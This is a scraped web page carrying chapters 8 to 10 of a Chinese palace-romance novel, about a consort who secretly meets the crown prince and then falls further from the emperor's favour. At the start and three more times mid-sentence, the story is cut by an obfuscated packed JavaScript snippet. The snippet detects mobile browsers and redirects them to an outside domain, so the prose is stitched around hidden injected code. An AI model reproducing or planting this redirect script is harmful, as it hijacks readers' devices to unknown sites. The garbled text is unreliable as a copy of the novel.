;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583272|171600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玉佩,饶是沈幼宜从前有过这样的幻想,可还是被太子惊到了。 数年不见,他是怎么了? 从前他犹豫不敢提及的东西,现在对卫贵妃却慷慨大方,随口许诺下来。 “那也不成!” 沈幼宜还像当年赌气似的,倏然甩开他的手,转过身去拿帕子擦眼泪:“你今日哄了我,回到东宫就去睡那些女人,继续和她们生孩子,我怎么知道你的真心!” 太子没料到今日的宜娘竟十分好哄,心底欢喜得厉害,不觉莞尔,轻轻扯住她一片衣袖:“那我要怎么做,阿臻才肯理一理我?” “我在行宫孤孤单单,你在东宫里也不许快活!” 沈幼宜半转过身来,悄悄打量太子的神情,却恶狠狠道:“既然殿下已经有了子嗣,日后再不许你碰她们,你要是敢对不住我,我就敢去勾引陛下!” 太子将她那别扭吃醋的模样瞧了又瞧,他有过的女人不多,也不算很少,对女子的争宠早已烦不胜烦,总是希望妻妾和睦的,可宜娘又要嫉妒、又要当着他的面“红杏出墙”,他却打心底生出几分欢喜来,甚至如释重负。 原来她心里真正在意的竟是这个! 太子毫不迟疑地答应下来:“好只要你心底一直念着我,我再不去就是了!” 他应承得太快,沈幼宜笑意微僵,眉心不可察觉地蹙了蹙,回身时慢慢露出一点笑意:“你当真这样想?” 四下并无旁人,他们不过是一对破镜重圆的少年男女,什么身份的阻隔都不足以束缚住他,太子上前一步,紧紧抱住眼前心爱的女子,指天誓日:“我以后若再有负于你,就教我众叛亲离,身死国灭,背负万世骂名!” 还未及他说完,美人柔若无骨的手已经隔空虚按在他唇上,怀袖飘荡,幽香从搅得人意动心乱,太子俯身看去,她双目盈盈,清泪蜿蜒而下,凝结成珠,断断续续滴入衣襟。 沈幼宜望着太子,眼圈微红道:“既然殿下心里一直有我,为何我丧夫之后您不来提亲呢?” 这哀恸里真假掺半,无论是对沈幼宜,还是卫兰蓁,太子许下诺言的时候或许都是真心的。 眼前的男子固然温柔深情,权势也是一等一的,为什么她们需要他的时候他却总有那么多的为难、那么多的不得已,最后只留下她们自己? 她的尾音绵长,似有眷恋不尽,含着泪的眼睛如一汪泉,将他的心也浸得沉重。 他怎么不想呢,他想得到她已经想得疯了,可等他终于寻到机会向父皇开口,宜娘却被卫氏送上了天子御榻! 太子才要开口,檀蕊的声音却自假山外响起,虽音调不高,但辨着方位,好似越来越近。 “娘子,娘子您在么?” 沈幼宜的身子惊得一颤,她下意识将身前的人连着手中那块玉佩都往山洞的方向一推,太子料不到她反应如此激烈,一时没有防备,踉跄几步才稳住身形。 她提着裙摆跳下船去,任凭温泉浸湿裙衫,哪怕对身后男子的呆怔十分不满,也顾不得回头,压住火气催促道:“还不快躲起来,等着被人撞见么!” 什么皇后东宫的位置,他十年八年后给得出再说罢,她已经死了一次,可不想再死第二次了! 8. 第 8 章 宫人早就习惯了贵妃常常独身外出,可檀蕊在假山近旁的回廊里寻到贵妃时还是唬了一跳,遗世独立的美人将全部的重量都靠在廊柱上,双目失焦,似乎失去了所有力气。 身前竟连一个服侍的人都没有。 她高声唤人取干衣来,担忧道:“娘子浑身怎么都湿透了,可是撑舟的宫人侍奉不力,伤着您了?” 沈幼宜颔首,眉头紧紧锁起:“将她带下去杖责二十,之后寻个借口,远远打发走就是了。” 她以为自己还是沈家女儿,难得遇上熟悉前世的旧人,仍不能完全将自己当作卫兰蓁,仓促间都不曾想过,原身不是陵阳侯的妻子么,就算他们夫妻情分浅薄,卫兰蓁移情别恋,可太子和陵阳侯如此要好,怎么下得去这个手? 尾指勾绕住垂下的一缕青丝,沈幼宜轻轻一扯,也捋不清脑中那团乱麻。 其实除了东宫的权势富贵,她心底也是喜欢太子这个人的,他们是同龄男女,太子许诺的时候也足够慷慨坚定,在许多事上对她百依百顺,哪怕到最后他权衡利弊,放任她在掖庭自生自灭,因为理解他的心思,她至多回想起这事时心里会冒出一点怨恨的酸楚,倒也没什么旁的感触,只是不喜欢了。 他年少稚嫩,权势都来源于天子,要他为了一个喜欢的女子挑战父亲的权威简直可笑,更何况这个女子本身瞧中的就是他的地位。 可今日真正见到活生生的他,她才生出一点复杂的伤心。 这个朗朗如月的清隽男子非但娶了妻、生了子,还在几年后爱上了好友的遗孀、他父皇的妃子,爱得甚至要她再等一段时日,等做了皇帝就为她废妻杀子? 她在太子心里没什么特殊的,而那些曾经击败她成为太子嫔妃的女人也一样,那么卫贵妃会有什么不同吗? 沈幼宜轻轻打了个冷颤,她曾经爱过的男子,怎么短短几年间就说得出如此令人胆寒心惊的话? 檀蕊以为贵妃受了寒,吩咐内侍们用屏风隔挡出一方天地,纵有许多疑惑,却又不好开口问询,下人伺候不力,贵妃烦躁恼怒是意料中事,却不该是一副心事重重的模样。 不过贵人的心意难测,她换上一副笑容,低声道:“奴婢方才差人去问了新入园的内侍,太子殿下此回到汤泉宫,是要令人勘察风水,为天子万寿搭一座戏台,所以才误打误撞进来,险些冲撞了您,方才还有东宫的总管内侍送了许多东西过来,说是与您赔罪的。” 沈幼宜打起些精神,只要元朔帝还在,太子对他的嫔妃好不好与她有什么关系:“陛下又不住汤泉宫,来这唱哪门子戏?” 汤泉宫有专门排歌演舞的宫殿,就算是要唱戏听曲也用不着太子来监工。 檀蕊笑着道:“要不怎么说是一桩喜事呢,太后娘娘今年不知怎么起了散心的兴致,要来行宫住些时日,听那些人议论,说是陛下今年不单单是将万寿宴设在此处,还有彩衣娱亲的兴致,想亲自登台为太后唱一出戏,太子殿下便先一步领了人来选地,以表孝心。” 戏台原本坐南朝北,是戏子唱给贵客听的,元朔帝身份尊崇,他若亲自登台,总要重新搭建一座坐北朝南的才好。 沈幼宜这才想起太子为何会说他奉了皇祖母的旨意前来,即便二人私会也不至于引人怀疑。 不过一想到太子借着表孝心的由头,私会他父皇的嫔妃,沈幼宜一时忍俊不禁,嗔道:“这算什么好事,陛下又不是特地为我来的,宫里突然来了许多人,整日乱糟糟的一片,我哪里还有逍遥自在的日子过?” 檀蕊见她笑,轻轻打趣道:“娘子还说不高兴,陛下是最孝顺太后娘娘的,既然要登台,岂能没有琴师奏乐,您的琴技连太后也是称赞过的,难道不比那些乐师还强?依奴婢来看,不如私下拿些银钱去打点陈总管,届时您陪陛下一同登台,哄得太后高兴,私下再说几句软话,等陛下气消了,定然不会再舍得冷落您。” 皇帝往常都是秋末冬初才在汤泉宫行乐避寒,是以万寿节很少会在行宫设宴,见面三分情,若没有太后的意思,贵妃不知要到什么时候才能与皇帝见上一面。 沈幼宜失笑,道:“陛下要做戏,还不知道有多少人削尖了脑袋想做配,陈总管看得上我那点贿赂不成?” 檀蕊的笑凝固在面上,却又听贵妃用那不紧不慢的语调说道:“不过路远天热,到时候是该封五十两银子请总管喝杯茶,旁的事倒不必说。万一他不肯帮我,又或者陛下知晓此事后龙颜不悦,那我的脸才是真要丢尽了,何必出这风头?” 贵妃有自己的主意,做下人的不好多劝,檀蕊张了张口,只得将那许多利弊咽回去。 一直到天子携后妃宗室驾临汤泉宫,各处迎驾洒扫,忙作十分,原本爱泛舟听曲的卫贵妃却当真躲在自己的宫殿内,偶尔抄写佛经,做针线打发时间,当真只给几位内侍省的近侍封了赏银……继续称病不出。 元朔帝要来汤泉馆舍长住,国事也是抛不开的,行宫的外廷环绕内宫而设,另设朝堂、弘文馆与百僚厅供随行的重臣议事上书,皇帝或者在长生殿、朝堂等地召见臣子,又或者与皇子公主游园,甚至外出游猎、登台扮戏,除了晚间就寝,很少有在清平殿的时候。 但即便如此,沈幼宜出行还是多有不便。 卫贵妃去年这时候正是如日中天,即便是失了宠,照旧住着离天子居处不远的瑶光殿,两殿楼阁相望,隐约可见其中人影。 而且至今也没人来传皇帝的旨意,要她从这座壮丽且临近帝王的殿宇中搬出去。 但圣驾来到行宫的第二日,太后身边的江嬷嬷就来瑶光殿请她叙话。 太后所居的望明殿地处清幽,与皇帝的清平殿相去甚远,而为寿宴搭建的戏台就在两殿之间的凤凰楼前。 自从在假山后遇到过太子,沈幼宜再也不敢随意溜出来玩闹,出行都用的是全副仪仗,将从前卫贵妃的做派学了十足十。 贵妃的仪仗气派煊赫,仪仗扇、金香合、椅、凳、炉具……身后跟着那一长串的尾巴十分引人注目,沈幼宜坐在辇上,她有时候甚至猜测,卫贵妃本人或许也不愿意天天这么大的排场,说不定只是为了躲避太子的纠缠。 沈幼宜从没见过太后,只是听太子说起过这位皇祖母,今上御极时已近弱冠,不容旁人染指皇权,太后平日里不过问朝政,平日在宫内礼佛诵经,是个慈爱而温和的老妇人。 望明殿依山而建,竹林掩映,殿外清泉如泓,在青翠绿叶中,偶尔能寻到一丝檀香的气息。 沈幼宜到的时候已经过了太后做早课的时辰,宫人将她引到蓄养飞禽走兽的后苑月洞前,才快走几步进去禀报:“老娘娘,贵妃娘子来问安了。” 沈幼宜远远瞧着,太后喂食的动作因宫人的通禀停了下来,却并未转过身来。 但望明殿的胖孔雀见到她倒很热情,扯着尖细的嗓子怪叫几声,蹦来蹦去,似乎下一刻就要开屏。 太后轻轻笑了一声,将手中的鸟食都扔过去,侧身示意沈幼宜近前些,从上到下细细打量了一番,她的声音有些苍老,却还中气十足:“你这孩子看起来心宽不少,病都好全了?” 沈幼宜的脸霎时红了半边,正所谓心宽体胖,她在行宫好像是又吃胖了一点点,手臂和胸口都软了些,不过身形还是窈窕纤长的,她想外人应该瞧不出来什么。 但也没有谁规定,失了宠的妃子就不能吃饭罢? 她走近太后身边,端端正正行了个礼,恭敬道:“谢太后娘娘垂问,妾的病好一些了,只是常常还会心悸,若不是怕过了病气给您,昨日妾就要到门外问安的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583273|171600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 皇帝在后宫上需求不多,嫔妃们的画像从来凑不够十张,是以太后对卫兰蓁这个曾做过寡妇的年轻儿媳起初并没什么特别的想法,至多是觉得这孩子太漂亮了些,出挑得过分,有几分狐媚惑主的味道。 一个守寡的妇人,美艳到皇帝不顾体面,在燕国公府就将人家宠幸了带回宫中,册封为婕妤,不到半年的光景又将她加封为贵妃,甚至还要卫氏留在紫宸殿伴驾,引得朝野物议沸腾,一度担忧卫贵妃若生下皇子,是否会影响到储位更替。 毕竟子凭母贵,杨修媛早年失宠,嫡出的二皇子又身有痼疾,天子正当盛年,贵妃出身燕国公府,也在产育的年龄,万一恩宠不衰,日后发生些什么,谁也拿不准。 可太后冷眼瞧着,这孩子似乎对东宫的位置没什么野心,除了一门心思都扑在皇帝身上、有点娇气得过分外,对皇后一直恭敬有加,尽管对杨修媛有些傲慢刁钻的姿态,有时候还要强压太子生母一头,但后宫上下对杨修媛都颇有微词,这点女人争风吃醋的事情并不值当她这个做婆母的过问。 说到底,皇后、卫贵妃、杨修媛,乃至后宫所有女子加在一起,也不如皇帝一人的喜怒重要,只要皇帝对贵妃有所纵容,后宫又没闹出太大的风浪,她乐得睁一只眼闭一只眼。 偏偏贵妃得宠失宠只在一瞬,而且并不是因为皇帝另有新宠——这她便很好奇了,结合宫内外的风言风语,甚至是有几分担忧。 贵妃那段时日并没做什么太出格的事情,甚至因为皇帝的专房宠爱,她记得这孩子都不大与年长的嫔妃争宠斗气了。 她和蔼道:“好孩子,难为你想得多,可到底花骨朵一样的年纪,怎么总把心思花在我身上呢?” 沈幼宜微微心虚,卫贵妃和她应当都是喜欢争来抢去的女人,可好像太后并不这么觉得。 也可能是太后觉得,皇帝对她还有几分留恋的意思? “妾不敢欺瞒老娘娘,陛下早就不喜欢我了,妾除了寻求老娘娘的庇护,在这宫里又能去求谁呢?” 她的眼泪来得很快,打湿了薄薄的一层脂粉:“只要娘娘怜我疼我,便是一辈子吃斋念佛,为您祈福,妾也是心甘情愿的。” 沈幼宜的眼睛生得明亮清澈,稍一低头,大颗大颗的眼泪连串落下来,哪怕是弃妇含怨,也似牡丹凝露,在风中轻颤摇曳,惹人生怜。 她本就有意哭得我见犹怜,有西子捧心之美,为此对镜练习过很多次,没想到今日就在太后面前用上了。 可沈幼宜刚想跪下来,却听见了一声若有若无的笑。 低沉悦耳,短促得仿佛幻听。 沈幼宜心惊肉跳,悄悄抬起头来,太后却正满脸慈爱地看着她。 胖乎乎的孔雀见眼前衣着华丽的美人不肯理它,不满地高亢鸣叫起来,直到刺耳的声音吸引了所有人的目光,才得意地抖了抖身子,矜持地将华丽的尾羽徐徐展开,跳来跳去地扇动。 太后轻轻叹了一口气,美色惑人不假,连她都有点可惜,皇帝纵然不为外物所累,也不该狠心到这地步,白白把个美人撇到一旁,但今日唤卫贵妃来的目的,并不是想关心她的处境。 更何况,她现在应该不能问出口了。 “你是个聪明的人,何苦早入穷巷?” 太后抬手为她理了理鬓边碎发,打趣道:“连孔雀都知道你生得美,皇帝难道瞧不入眼么?” 沈幼宜低垂下头,她心里隐约有些不安,可又说不明白,好在太后确实不是难为人的婆母,只是又关怀了几句,便教她回去了。 江嬷嬷亲自送贵妃从角门出去,太后才略有几分不满地将目光落在殿中的一架屏风后,她虽老了,却还不聋,轻轻斥了一句守门内侍:“皇帝来了,怎么也没人通禀一声?” 9. 第 9 章 皇帝从屏风后转出,走到太后身边来。 他今日穿了一身木槿色常服,外罩同色的暗纹素纱,他面上含了笑,教内侍捧了铜盆净手,才走到太后身边来。 “瞧阿娘闲谈的兴致正高,儿子才不许他们惊扰。” 太后将自己这个儿子仔仔细细地打量了一番,皇帝平日容仪同样肃整,可今天好似又不同了些。 说不出哪里修饰过,但看起来很有一番青年时的潇然俊姿,她笑着骂道:“堂堂天子,竟来看自己嫔妃的笑话,亏你也是快四十岁的人了!” 人家巴巴为他的冷落伤心,一个说是倾国倾城都不为过的美人,哭得如芙蓉泣露,连她一个女人都会心疼,皇帝倒好,半点也不放在心上。 不知是被母亲提醒了年纪,还是提到了贵妃,元朔帝的笑意淡了些:“嫔妃侍奉君主是本分,朕嫔御众多,要个个在阿娘面前哭一哭,便要朕体贴关怀,只怕分/身乏术。” 长辈总喜欢把晚辈的年纪多算几岁,但他确实不再年轻,过了这个生辰,便是三十有七的人了,他的贵妃却比太子还要小一些。 论理来说,他既然对后宫的生育不再抱有指望,皇后在内廷的事上也算尽心,即便不再纳新人入宫,除了他的亲生母亲,也不会有人说些什么,甚至会有臣子称赞他洁身自好,不因己身色欲而搜罗天下妇人。 人过而立,四海臣服,天下归一,帝王所能享有的权势、荣华、乃至于杀伐征战的快意,他都已经体会过,也就不怎么将女色放在心上,只是偶然做了一场风花雪月的过客。 她轻灵灵得似一段柔软洁白的云雾,遮住了他的眼。 确实极美,也足够温柔,帝王为之驻足片刻即可,并不值得过多挂怀。 偏偏他曾动了心思、甚至反复斟酌,为之伤神的事情,人家从来不会放在心上。 即便事情败露,连软下态度说几句好话也不肯,却会在旁人面前泣泪示弱,祈求太后的一点怜爱。 他年长她十六岁有余,在许多事情上大可以纵容,可天子俯瞰众生,高高在上,不会自降身段,向一个女子俯首。 太后不以为意,她这个儿子素来孝顺,她随口感慨了一句宫中无趣,皇帝便提议到行宫散心游玩。 长安周围的行宫不止一处,还有许多正在营建的宫舍,并不一定要来汤泉宫,她是个贪新鲜的人,多走几处地方更好。 但夏日里泡一泡温泉,欣赏山水风光还是很有野趣的,更何况,这是儿孙的一片孝心。 就是这孩子做皇帝做得太久,即便是做母亲的也摸不透他的心思,太后笑了笑,不再提贵妃的事情:“端阳那日还求到我面前来,问陛下要演什么,也想凑个热闹。” 皇帝要彩衣娱亲,下面的人便更要卖力,取悦于皇帝。 端阳是先丽妃的孩子,母亲去后一直抚养在太后身前,元朔帝思忖片刻,含笑道:“儿子这点微末技艺哪里唱得了大段,不过是唱一出群仙祝寿,教几个琴师伶人伴乐就够了。” 太后想想也是,皇帝又不要脱了冕服去做戏子,登台唱一两段就是尽孝,端阳嗓音轻柔,爱好轻快柔和的曲子,并不怎么喜爱乐器,可能不太受她父皇欢迎。 但要说弹琴,太后下意识瞧了瞧元朔帝。 眼前就有个现成的人选,不过皇帝方才待那人态度十分冷淡,她再开口大约讨嫌,颔首道:“那也很好,都随你的意。” 元朔帝看着方才得意洋洋的开屏孔雀,它已经失去了求偶的兴奋,被那目光一扫,神气活现的尾似失了精气神,悄悄缩回身去。 宫人纷纷掩口笑,可是偷偷窥伺天子神色,又将头都低了下去。 就当太后以为他会说些什么趣事时,元朔帝却道:“儿子听闻太子妃此次将衡山郡王也一并带了过来?” 太后愣了愣,连着关心皇帝的话也一并咽了回去,苦笑道:“她是个贤惠的好孩子,昨儿还带他进来请安,我瞧这孩子被养得很好,不哭不闹的,很惹人喜欢……但太子妃却又瘦了些。” 她这一辈子都是享福的命,但儿孙的婚事都不算顺心。 皇帝这人性子凉薄傲慢,年轻的时候不大有闲心贪恋女色,年纪渐长,又开始节奢止欲,如今这般也不算意外,可太子却不该如此。 ——二十出头的年纪,又不要他冲锋陷阵去打天下,太子妃出身名门,容貌称得上端丽,这孩子怎么会为一点小事和她过不去呢? 听说是她孕中知晓太子在外养了个私宠,那女子因为深受太子宠爱,竟敢入宫挑衅,惹得太子妃一时动了胎气,把那女子处置了,从此便夫妻失和。 衡山郡王是庶出,皇帝虽说也为长孙降生而欢愉,但考虑到日后太子妃若再生养,倒也没流露出立皇太孙的意思。 不过人的心总是偏向自家人的,太子妃在皇家眼里还没出色到皇太孙生母非她不可的地步,他们夫妻当真走到这一步,太后还是会怪罪太子妃多些。 一个外室罢了,只要太子日后不缺子嗣,这女人就算是生了孩子也越不过正室去,多亏皇帝不是那等爱插手儿女家事的父亲,太子妃没蠢到哭哭啼啼把事情捅到宫中,是以还瞒得住。 太后眯了眯眼,这个外室的事情还是太子入宫的时候悄悄与她提过两句,听说也是个可怜的女子,虽说来历不明,但瞧在服侍他许久的份上,该得个玉牒名分。 但她不明不白地死了,后来太子的态度也不过如此。 她死了,太子妃才把这事瞧得明白,可惜晚了。 元朔帝上一次见自己这个孙子还是去年,和缓的语气里似有几分无奈道:“端阳已经长成嫁人了,阿娘膝下难免空虚,儿子想……要是这孩子您瞧着还不错,就接到您身边先养着。” 虽说皇帝和太后不需要亲自抚养幼儿,可是直接送到紫宸殿里,几乎是挑明了这件事,日后再要反悔,余地便不多了。 太后从没听过他有这打算,微微吃惊,然而她这个儿子一向是圣裁独断,决定了的事情断没有转圜的道理,轻轻点了点头,叹道:“早做些打算也好……你年轻的时候没法子将太子携在身边教养,就是有些不合心意也是没法子的事情,如今四海承平,皇帝正好多留些心在小辈身上。” 这其实该在意料之中,皇帝的子嗣实在是太单薄了些,两子四女,皇孙也只有一个,二皇子又是痴迷修仙的,成日和和尚道士混在一处,皇帝要在后代里挑挑拣拣,也不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583274|171600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 件很容易的事情。 皇帝留心栽培皇孙,对太子、以及追随太子的属官而言,自然是一件天大的好事。 太后和皇帝说了一会儿话,元朔帝便要起身往弘文馆去,陈容寿小心翼翼服侍着,烈阳高照,他却莫名颈后一阵阵发凉。 往常他是最能揣度圣心的,也偶尔在圣上面前为旁人递一两句话,可遇上卫贵妃这么个活祖宗,他实在也没办法。 说句不好听的话,瑶光殿到清平殿的路程,一日一夜,就算是只乌龟慢吞吞爬过来,也早就见到陛下了,还用得着跑到太后面前哭哭啼啼? 身在这个位置,陈容寿收到的点心茶水银子不计其数,唯独收瑶光殿那位的东西时烫手得厉害,若不是担忧自己这颗项上人头不保,陈容寿当真想亲身到瑶光殿去瞧一瞧,卫贵妃是怎么想的? 前些日子在行宫四处游逛,圣驾一到就又要称病? 她瞒着陛下思念亡夫,难道还指望天子纡尊降贵,亲身到瑶光殿不成? 不过再离谱的事情,卫贵妃做出来也不稀奇,毕竟这位卫娘子第一次见到圣驾时就做过能夷三族的事情。 陈容寿想起那日一袭素衣的贵妃,随卫氏族人一同拜倒在地,迎接今上与太子。 她本来还在孝期,但陵阳侯府早没她的容身之所,宴会上主动献舞也说得过去。 一个生得美艳动人的女子,想给自己搏一个好前程没什么,只是天家父子都是于女色上克制的,即便是他也不觉得这女郎有成功的可能。 彼时的卫贵妃一舞终了,她的妆容清淡,舞裙也不艳丽,可人生得妩媚,停下喘/息时鬓发汗湿,颇有几分诱人意味,偏偏向御座处瞥来一眼,端的是我见犹怜,便是在场的内侍都少不得悄悄多看几眼。 她斟满了一盏酒敬与天子,又奉与太子,恭恭敬敬说了几句客气话,随后便低眉顺眼地退下……直到圣上觉察出几分不对,起身往后厅更衣,这胆大包天的女郎竟已换了侍女裙裳,扑到他身前跪下,只求行个方便。 直至今日,陈容寿都不敢回忆后来的事情,自然,圣上要宠幸女人,也不会教他瞧见什么。 可燕国公府邸的屋舍藏不住声音,贵妃娇柔的低泣断断续续传出,直到月上屋檐才堪堪停下。 他候着元朔帝的旨意,不敢离得太远,不过就算离得不那么近,也能听得见陛下的斥责与那女郎胡搅蛮缠的哭诉。 圣上斥责的声音略低些,大概也恼怒于她的不知羞。 “我是真心倾慕陛下才这样做的,您要杀就杀我一人好了,我阿耶阿娘是不知情的……就算明天要死,今日能与陛下欢愉片刻也是好的!” 可这般气势汹汹而来的女子,被逐出昭阳殿前竟只会双目含泪,倔强地回望愤怒已极的帝王,轻描淡写道:“陛下既然知道了,臣妾还有什么可说的呢?” 她那样无畏,像全然不知自己的做出什么可怖的事来,可一字一句,都又似含了极大的痛楚。 “我确实不想为您生一个孩子,不如您赐死我罢。” 她声音透露着一丝疲倦与解脱:“苟且偷生到今日,臣妾没什么不知足的。或许我这个人早就该死,也就不必活得这般累了。” 10.第 10 章 为圣上挑选琴师女乐原是内侍省的活计,他服侍陛下时间最久,今日也不知道怎样婉转开口,才能准确表达出贵妃确与他暗中往来过,但并不打算像从前那样献媚邀宠,而是想躲起来再清静一段时间……且不令陛下动怒。 贵妃是个狡黠美丽的女子,不会不知道陛下的意思,当初她晓得,今日也晓得,但都看似委婉实则不留情面地拒绝了。 有时连他暗地都想叫几声苦,陛下早知贵妃种种痴缠只是为了求一个安身立命的所在,一旦扯破脸,演也演不下去了。 若上回皇后为贵妃求情的时候,皇帝稍有动容,派人去问上几句,紫宸殿的内侍就不会日日提心吊胆地过日子了。 陈容寿摇了摇头,以他对天子的了解,那是决计不可能的。 “好端端的,贵妃来望明殿做什么?” 陈容寿尽力将自己埋低下去,可轻微的动作还是引起了元朔帝的注意,他定了定神,含蓄道:“是老娘娘想见一见贵妃娘子,瞧她的病可好些了。” 太后对能做自己孙辈的年轻儿媳关心不是很多。不过是心疼皇帝,要是贵妃想明白了,便得尽快打起精神,服侍天子高兴。 他能听见手指有一搭无一搭敲击扶手的声音,闷闷的轻声,叫人不知道什么意思。 “朕瞧她病得不轻。” 元朔帝面上没有多余的神情,下颌隐隐收紧:“既然身子不适就少出来些,太后是千金之体,她该晓得分寸。” 陈容寿微微吃惊,他还没来得及吩咐那人私下劝一劝贵妃,陛下竟已知晓了! 不过也在情理之中。 贵妃昨日不来,今日也不来,那么往后……都不用她来了。 沈幼宜难得出来,正想顺路去瞧一瞧皇后,还没到皇后住着的长乐殿,就被一名着红近侍客客气气拦了下来。 那内侍不敢看贵妃的脸色,尽可能委婉地对她讲明陈总管的意思。 还没见到圣驾,就先一步被软禁了起来,虽说没有明旨,也没有调来看守的禁军侍卫。 可其中透露出的风向正如满城风雨欲来前的乌云,沉甸甸压在瑶光殿的上方,连一向随意自在的贵妃都倏然变了面色。 陈总管的意思同圣上的没什么分别,贵妃在外落了脸面,即便她失了宠,侍女们也有几分战战兢兢,生怕贵妃将这股火气发泄到自己身上。 檀蕊小心笼了一炉兰香搁在案几上,仔细观察榻上沉闷吃着玉露团的美人,试图从她的神情中寻到一些掩饰不住的愤恨,如果说皇帝没到行宫前,六宫仍在猜度圣意是否会有所转圜,现在连她也不抱希望了。 她这位主子虽有了争宠的心思,可失宠大概是板上钉钉的事情了。 贵妃近来隐约有几分不对,宫里常有得宠又失宠的女人,云端打下泥沼,疯了也不足为奇。 她压下心底的担忧,劝慰道:“娘子别事事闷在心里,陛下待后宫一向如此,不是对您一个薄情,便是对皇后娘娘也没什么分别,您千万别想窄了……” 话音未落,一个玉露团已结结实实堵住她的口,沈幼宜含笑看向她,戏谑道:“你从前可不是这么说的呀!” 冰凉的甜意入口,檀蕊下意识嚼了两下,她年长贵妃许多岁,却被她如狸猫一样逗弄喂食,心里生出一点异样的感觉。 贵妃也冰凉凉的,甜丝丝的,瞧着她笑的时候,夏日里的烦躁都消弭无形。 没来行宫前,贵妃打心底是更喜欢含薰以及那些被杖毙宫人的,很多事都吩咐她们去做,但如今却待她很亲密温和,甚至可以说,毫不避讳叫她看见那分活泼惬意。 或许对贵妃而言,也是塞翁失马,焉知非福呢? 沈幼宜俯身看着她,眼里的光亮如珠玉耀目,笑起来时闪着令人心动的光泽:“我从前也拿不准主意,陛下心底到底还有没有我呢?” 卫贵妃失宠的缘由是因为嫉妒嫔妃,可从太子的身上她能明显觉察出,男人真正心爱一个女子的时候,并不怕她吃醋,皇帝喜爱她的年轻美丽,却不喜欢她的任性,她要借卫贵妃的身体重回后宫,这一点却不敢不慎之又慎。 檀蕊轻轻叹了一口气:“您现在想清楚了?” 沈幼宜躺回原处,轻轻扬起下巴:“好像有几分明白罢。” 不止她能偷窥到清平殿一角,清平殿也同样能看得到她。 太后吩咐她去的时候,皇帝分明还没去前朝。 那一声低促的轻笑仿佛还在耳畔,现在再想到那声音的主人,沈幼宜脸颊都微微一热。 她柔婉示弱的时候,差点做了她公爹的帝王就立在殿宇之中,注视着她的一举一动。 可要说得意,却也不是没有。 风筝翱翔天际,俯瞰着芸芸众生,然而丝线的另一端就在纤弱的女郎手中,只要轻轻扯上一扯,就能让它在云雾里翻转腾挪。 檀蕊却不明白贵妃到底哪里笃定圣心仍在,宫中嫔妃里,唯独贵妃爬得高,跌得也最狠。 “那您要借机往清平殿去一回……”檀蕊斟酌着用词,“不过现下去,陛下会不会生您的气呢?” “陛下都说我要多养病了,那还去什么呢,还不如向皇后娘娘告个假,撤了我寿宴上的席位,省得圣上见了烦心。” 沈幼宜摇头,她搭了檀蕊的手起身,不觉莞尔,兴致勃勃道:“我今天有点闷,叫几个宫人,陪我去放纸鸢罢!” 皇帝的万寿节一日日近了,瑶光殿也一日比一日沉寂。 沈幼宜绣着那永远也绣不完的荷包,有时候能从早到晚也不迈出殿门一步。 淡月疏星,高悬中天,她坐在殿中的明辉楼里刺绣,有时能瞧见清平殿的烛火明了又灭。 内里偶有人影绰绰,但大多数时候只有两三内侍与奉茶宫人,每三个时辰轮换一次。 他们恭恭敬敬地做人偶泥塑,将自己的姿态放到最低,行走时仿若无声,是虔诚的供奉人,只为侍奉烛火环照下的帝王。 夜里太静,静得能听见丝线劈开、穿过绸缎的声音,她偷窥着那处光,好像也听见墨条沿着砚台滑动,不疾不徐地研磨,沙沙作响,一圈圈漾开朱砂的味道。 翠华咫尺,如隔天涯,大多数的嫔妃都在这夜复一夜的枯燥死寂中苦苦期盼君王的垂青。 她失了宠,却还住在代表君王宠爱的瑶光殿里,原本的卫贵妃瞧着近在眼前的天子,会不会发疯呢? 然而隐在珠帘玉幕之后的男子很少登楼望景,山河万里,要分去他注意的事情很多,对于皇帝来说,行宫的景致再好,也失去了新鲜感。 但对瑶光殿里住着的卫贵妃却未必如此。 他总该有一点点惦记她的,哪怕是厌恶愤恨,这都不是什么坏事。 有时沈幼宜想,她的瑶光殿与天子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15596797|171600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 